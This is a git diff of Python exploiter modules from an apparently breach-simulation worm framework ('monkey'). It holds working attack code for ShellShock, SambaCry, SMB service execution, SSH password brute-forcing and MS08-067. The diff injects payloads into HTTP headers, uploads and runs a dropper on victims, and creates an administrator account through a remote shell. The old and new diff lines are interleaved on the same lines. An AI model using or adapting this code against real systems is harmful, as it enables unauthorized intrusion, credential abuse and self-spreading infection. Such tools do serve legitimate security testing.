smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, @staticmethod
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter):
# In our case, str(FileID) # In our case, str(FileID)
return str(createResponse['FileID']) return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName): @staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;) # to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$') treeId = smb_client.connectTree('IPC$')
@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0) fileAttributes=0)

View File

@ -1,16 +1,17 @@
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py # Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging import logging
from random import choice
import string import string
from tools import build_monkey_commandline from random import choice
from exploit import HostExploiter
from model.host import VictimHost
from shellshock_resources import CGI_FILES
from model import MONKEY_ARG
from exploit.tools import get_target_monkey, HTTPTools
import requests import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
__author__ = 'danielg' __author__ = 'danielg'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -20,13 +21,14 @@ DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
class ShellShockExploiter(HostExploiter): class ShellShockExploiter(HostExploiter):
_target_os_type = ['linux']
_attacks = { _attacks = {
"Content-type": "() { :;}; echo; " "Content-type": "() { :;}; echo; "
} }
def __init__(self): _TARGET_OS_TYPE = ['linux']
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join( self.success_flag = ''.join(
@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20)) ) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost)
# start by picking ports # start by picking ports
candidate_services = {service: host.services[service] for service in host.services if candidate_services = {service: self.host.services[service] for service in self.host.services if
host.services[service]['name'] == 'http'} self.host.services[service]['name'] == 'http'}
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
'tcp-' + str(port) in candidate_services] 'tcp-' + str(port) in candidate_services]
@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter):
LOG.info( LOG.info(
'Scanning %s, ports [%s] for vulnerable CGI pages' % ( 'Scanning %s, ports [%s] for vulnerable CGI pages' % (
host, ",".join([str(port[0]) for port in valid_ports])) self.host, ",".join([str(port[0]) for port in valid_ports]))
) )
attackable_urls = [] attackable_urls = []
# now for each port we want to check the entire URL list # now for each port we want to check the entire URL list
for port in http_ports: for port in http_ports:
urls = self.check_urls(host.ip_addr, port) urls = self.check_urls(self.host.ip_addr, port)
attackable_urls.extend(urls) attackable_urls.extend(urls)
for port in https_ports: for port in https_ports:
urls = self.check_urls(host.ip_addr, port, is_https=True) urls = self.check_urls(self.host.ip_addr, port, is_https=True)
attackable_urls.extend(urls) attackable_urls.extend(urls)
# now for each URl we want to try and see if it's attackable # now for each URl we want to try and see if it's attackable
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
exploitable_urls = [url for url in exploitable_urls if url[0] is True] exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed # we want to report all vulnerable URLs even if we didn't succeed
# let's overload this self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
# TODO: uncomment when server is ready for it
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
# now try URLs until we install something on victim # now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls: for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (host, url)) LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec # same attack script as sshexec
# for any failure, quit and don't try other URLs # for any failure, quit and don't try other URLs
if not host.os.get('type'): if not self.host.os.get('type'):
try: try:
uname_os_attack = exploit + '/bin/uname -o' uname_os_attack = exploit + '/bin/uname -o'
uname_os = self.attack_page(url, header, uname_os_attack) uname_os = self.attack_page(url, header, uname_os_attack)
if 'linux' in uname_os: if 'linux' in uname_os:
host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else: else:
LOG.info("SSH Skipping unknown os: %s", uname_os) LOG.info("SSH Skipping unknown os: %s", uname_os)
return False return False
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False return False
if not host.os.get('machine'): if not self.host.os.get('machine'):
try: try:
uname_machine_attack = exploit + '/bin/uname -m' uname_machine_attack = exploit + '/bin/uname -m'
uname_machine = self.attack_page(url, header, uname_machine_attack) uname_machine = self.attack_page(url, header, uname_machine_attack)
if '' != uname_machine: if '' != uname_machine:
host.os['machine'] = uname_machine.lower().strip() self.host.os['machine'] = uname_machine.lower().strip()
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
return False return False
# copy the monkey # copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = src_path or get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter):
# run the monkey # run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline run_path = exploit + cmdline
self.attack_page(url, header, run_path) self.attack_page(url, header, run_path)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)): if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
@ -146,6 +145,8 @@ class ShellShockExploiter(HostExploiter):
return True return True
return False
@classmethod @classmethod
def check_remote_file_exists(cls, url, header, exploit, file_path): def check_remote_file_exists(cls, url, header, exploit, file_path):
""" """
@ -206,10 +207,3 @@ class ShellShockExploiter(HostExploiter):
urls = [resp.url for resp in valid_resps] urls = [resp.url for resp in valid_resps]
return urls return urls
@staticmethod
def report_vuln_shellshock(host, url):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
'exploiter': ShellShockExploiter.__name__,
'url': url})

View File

@ -1,67 +1,52 @@
import sys
from logging import getLogger from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
from tools import build_monkey_commandline, report_failed_login
try: from impacket.dcerpc.v5 import transport, scmr
from impacket import smb from impacket.smbconnection import SMB_DIALECT
from impacket import uuid
# from impacket.dcerpc import dcerpc from exploit import HostExploiter
from impacket.dcerpc.v5 import transport, scmr from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from impacket.smb import SessionError as SessionError2 from network import SMBFinger
from impacket.smb3 import SessionError as SessionError3 from network.tools import check_port_tcp
except ImportError as exc: from tools import build_monkey_commandline
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
raise
LOG = getLogger(__name__) LOG = getLogger(__name__)
class SmbExploiter(HostExploiter): class SmbExploiter(HostExploiter):
_target_os_type = ['windows'] _TARGET_OS_TYPE = ['windows']
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
} }
USE_KERBEROS = False USE_KERBEROS = False
def __init__(self): def __init__(self, host):
super(SmbExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type: if super(SmbExploiter, self).is_os_supported():
return True return True
if not host.os.get('type'): if not self.host.os.get('type'):
is_smb_open, _ = check_port_tcp(host.ip_addr, 445) is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host) smb_finger.get_host_fingerprint(self.host)
else: else:
is_nb_open, _ = check_port_tcp(host.ip_addr, 139) is_nb_open, _ = check_port_tcp(self.host.ip_addr, 139)
if is_nb_open: if is_nb_open:
host.os['type'] = 'windows' self.host.os['type'] = 'windows'
return host.os.get('type') in self._target_os_type return self.host.os.get('type') in self._TARGET_OS_TYPE
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
creds = self._config.get_exploit_user_password_or_hash_product() creds = self._config.get_exploit_user_password_or_hash_product()
@ -70,7 +55,7 @@ class SmbExploiter(HostExploiter):
for user, password, lm_hash, ntlm_hash in creds: for user, password, lm_hash, ntlm_hash in creds:
try: try:
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user, user,
@ -81,17 +66,17 @@ class SmbExploiter(HostExploiter):
if remote_full_path is not None: if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)", LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
exploited = True exploited = True
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
except Exception as exc: except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:" LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host, " %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc) user, password, lm_hash, ntlm_hash, exc)
continue continue
@ -105,10 +90,10 @@ class SmbExploiter(HostExploiter):
else: else:
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr,)) rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port) rpctransport.set_dport(port)
if hasattr(rpctransport, 'preferred_dialect'): if hasattr(rpctransport, 'preferred_dialect'):
@ -125,7 +110,7 @@ class SmbExploiter(HostExploiter):
scmr_rpc.connect() scmr_rpc.connect()
except Exception as exc: except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s", LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc) self.host, exc)
return False return False
smb_conn = rpctransport.get_smb_connection() smb_conn = rpctransport.get_smb_connection()
@ -150,6 +135,6 @@ class SmbExploiter(HostExploiter):
scmr.hRCloseServiceHandle(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline) remote_full_path, self.host, cmdline)
return True return True

View File

@ -1,13 +1,14 @@
import paramiko
import logging import logging
import time import time
from itertools import product
import paramiko
import monkeyfs import monkeyfs
from tools import build_monkey_commandline, report_failed_login
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from model import MONKEY_ARG from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer' __author__ = 'hoffer'
@ -17,9 +18,10 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None] _TARGET_OS_TYPE = ['linux', None]
def __init__(self): def __init__(self, host):
super(SSHExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._update_timestamp = 0 self._update_timestamp = 0
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@ -29,19 +31,19 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT port = SSH_PORT
# if ssh banner found on different port, use that port. # if ssh banner found on different port, use that port.
for servkey, servdata in host.services.items(): for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', '')) port = int(servkey.replace('tcp-', ''))
is_open, _ = check_port_tcp(host.ip_addr, port) is_open, _ = check_port_tcp(self.host.ip_addr, port)
if not is_open: if not is_open:
LOG.info("SSH port is closed on %r, skipping", host) LOG.info("SSH port is closed on %r, skipping", self.host)
return False return False
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
@ -49,63 +51,63 @@ class SSHExploiter(HostExploiter):
exploited = False exploited = False
for user, curpass in user_password_pairs: for user, curpass in user_password_pairs:
try: try:
ssh.connect(host.ip_addr, ssh.connect(self.host.ip_addr,
username=user, username=user,
password=curpass, password=curpass,
port=port, port=port,
timeout=None) timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)", LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, user, curpass) self.host, user, curpass)
host.learn_credentials(user, curpass) self.report_login_attempt(True, user, curpass)
exploited = True exploited = True
break break
except Exception, exc: except Exception as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", self.host,
user, curpass, exc) user, curpass, exc)
report_failed_login(self, host, user, curpass) self.report_login_attempt(False, user, curpass)
continue continue
if not exploited: if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...") LOG.debug("Exploiter SSHExploiter is giving up...")
return False return False
if not host.os.get('type'): if not self.host.os.get('type'):
try: try:
_, stdout, _ = ssh.exec_command('uname -o') _, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip() uname_os = stdout.read().lower().strip()
if 'linux' in uname_os: if 'linux' in uname_os:
host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else: else:
LOG.info("SSH Skipping unknown os: %s", uname_os) LOG.info("SSH Skipping unknown os: %s", uname_os)
return False return False
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False return False
if not host.os.get('machine'): if not self.host.os.get('machine'):
try: try:
_, stdout, _ = ssh.exec_command('uname -m') _, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip() uname_machine = stdout.read().lower().strip()
if '' != uname_machine: if '' != uname_machine:
host.os['machine'] = uname_machine self.host.os['machine'] = uname_machine
except Exception, exc: except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
if self.skip_exist: if self.skip_exist:
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
stdout_res = stdout.read().strip() stdout_res = stdout.read().strip()
if stdout_res: if stdout_res:
# file exists # file exists
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
try: try:
@ -115,25 +117,25 @@ class SSHExploiter(HostExploiter):
with monkeyfs.open(src_path) as file_obj: with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer) callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0777) ftp.chmod(self._config.dropper_target_path_linux, 0o777)
ftp.close() ftp.close()
except Exception, exc: except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", host, exc) LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
return False return False
try: try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth-1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += "&" cmdline += "&"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
ssh.close() ssh.close()
return True return True
except Exception, exc: except Exception as exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc) LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
return False return False

View File

@ -469,21 +469,13 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location) GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
telemetry_dict = \
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path(): def get_binaries_dir_path():
if getattr(sys, 'frozen', False): if getattr(sys, 'frozen', False):
return sys._MEIPASS return sys._MEIPASS
else: else:
return os.path.dirname(os.path.abspath(__file__)) return os.path.dirname(os.path.abspath(__file__))
def get_monkey_depth():
from config import WormConfiguration
return WormConfiguration.depth

View File

@ -6,36 +6,21 @@
# Email: d3basis.m0hanty @ gmail.com # Email: d3basis.m0hanty @ gmail.com
############################################################################# #############################################################################
import sys
import time
import socket import socket
import time
from logging import getLogger from logging import getLogger
from enum import IntEnum from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from exploit.tools import SmbTools, get_target_monkey from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger from network import SMBFinger
from network.tools import check_port_tcp from network.tools import check_port_tcp
from tools import build_monkey_commandline from tools import build_monkey_commandline
from . import HostExploiter from . import HostExploiter
try:
from impacket import smb
from impacket import uuid
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__) LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444 # Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -167,59 +152,59 @@ class SRVSVC_Exploit(object):
class Ms08_067_Exploiter(HostExploiter): class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows'] _TARGET_OS_TYPE = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2, _windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2} 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
def __init__(self): def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type and \ if self.host.os.get('type') in self._TARGET_OS_TYPE and \
host.os.get('version') in self._windows_versions.keys(): self.host.os.get('version') in self._windows_versions.keys():
return True return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): if not self.host.os.get('type') or (
is_smb_open, _ = check_port_tcp(host.ip_addr, 445) self.host.os.get('type') in self._TARGET_OS_TYPE and not self.host.os.get('version')):
is_smb_open, _ = check_port_tcp(self.host.ip_addr, 445)
if is_smb_open: if is_smb_open:
smb_finger = SMBFinger() smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host): if smb_finger.get_host_fingerprint(self.host):
return host.os.get('type') in self._target_os_type and \ return self.host.os.get('type') in self._TARGET_OS_TYPE and \
host.os.get('version') in self._windows_versions.keys() self.host.os.get('version') in self._windows_versions.keys()
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) os_version = self._windows_versions.get(self.host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False exploited = False
for _ in range(self._config.ms08_067_exploit_attempts): for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) exploit = SRVSVC_Exploit(target_addr=self.host.ip_addr, os_version=os_version)
try: try:
sock = exploit.start() sock = exploit.start()
sock.send("cmd /c (net user %s %s /add) &&" sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" % \ " (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add, (self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add)) self._config.ms08_067_remote_user_add))
time.sleep(2) time.sleep(2)
reply = sock.recv(1000) reply = sock.recv(1000)
LOG.debug("Exploited into %r using MS08-067", host) LOG.debug("Exploited into %r using MS08-067", self.host)
exploited = True exploited = True
break break
except Exception as exc: except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc) LOG.debug("Error exploiting victim %r: (%s)", self.host, exc)
continue continue
if not exploited: if not exploited:
@ -227,7 +212,7 @@ class Ms08_067_Exploiter(HostExploiter):
return False return False
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_add,
@ -236,7 +221,7 @@ class Ms08_067_Exploiter(HostExploiter):
if not remote_full_path: if not remote_full_path:
# try other passwords for administrator # try other passwords for administrator
for password in self._config.exploit_password_list: for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
"Administrator", "Administrator",
@ -250,16 +235,16 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower(): if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)
try: try:
sock.send("start %s\r\n" % (cmdline,)) sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,)) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception as exc: except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False return False
finally: finally:
try: try:
@ -268,6 +253,6 @@ class Ms08_067_Exploiter(HostExploiter):
pass pass
